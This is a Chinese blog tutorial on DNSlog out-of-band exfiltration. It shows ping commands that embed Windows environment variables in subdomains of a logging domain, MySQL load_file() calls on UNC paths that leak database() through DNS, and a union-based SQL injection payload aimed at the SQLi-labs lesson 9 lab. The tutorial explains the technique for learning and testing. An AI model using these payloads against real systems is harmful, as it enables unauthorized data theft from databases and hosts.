DNSlog 注入
DNSlog 原理
DNSlog注入的原理:攻击者注册了某个域名,将这个域名绑定到了某个IP的服务器上并设置了泛解析,当受害机器访问这个域名的任何一个子域名时,攻击者的服务器都会收到请求并记录DNS解析。

- 以下测试采用临时
DNSlog站点:http://dnslog.pw/

- 获取到子域名之后,在本机尝试
Ping一下:
1 | C:\Users\Administrator>ping csaahec1.dnslog.pw |
- 使用
%username%尝试构造三级域名:
1 | C:\Users\Administrator>ping %username%.csaahec1.dnslog.pw |
- 换一个环境变量
%os%:
1 | C:\Users\Administrator>ping %os%.csaahec1.dnslog.pw |

- 经测试在发送
DNS请求时,系统会先将变量先执行解析出结果。 - 既然
Windows可以,那Linux行不行呢?
1 | root at kali in ~ |

MySQL DNSlog
前情提要:
MySQL需要具有root权限;MySQL能够使用load_file()函数;对方服务器可出网;
对方系统必须是
Windows;
load_file函数在Linux下是无法用来做DNSLog攻击的,因为在这里就涉及到UNC路径问题。UNC(Universal Naming Convention)路径是一种用于在网络上定位共享资源的命名格式,它是一种标准的命名约定,用于指定网络上的共享文件夹或打印机的位置。UNC路径的格式通常为:
1 | \\<计算机名称>\<共享名称>\<路径> |
- 其实我们平常在
Widnows中用共享文件的时候就会用到这种网络地址的形式:
1 | \\127.0.0.1\Tools |
- 所以
DNSlog的形式还可以这么写:
1 | \\%username%.csaahec1.dnslog.pw\a |

- 同时
MySQL的load_file函数支持UNC路径进行网络访问:
1 | SELECT load_file("\\\\csaahec1.dnslog.pw\\a") |
- 既然支持
UNC访问,同时在访问DNSlog时系统又会解析变量,那么MySQL会不会执行查询操作呢?
1 | SELECT load_file(concat("\\\\",(select database()),".csaahec1.dnslog.pw\\abc")) |

- 这里以
SQLi_lab9为例:
1 | ?id=1' union select 1,2,load_file(concat("\\\\",(select database()),".csaahec1.dnslog.pw\\abc")) --+ |

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!








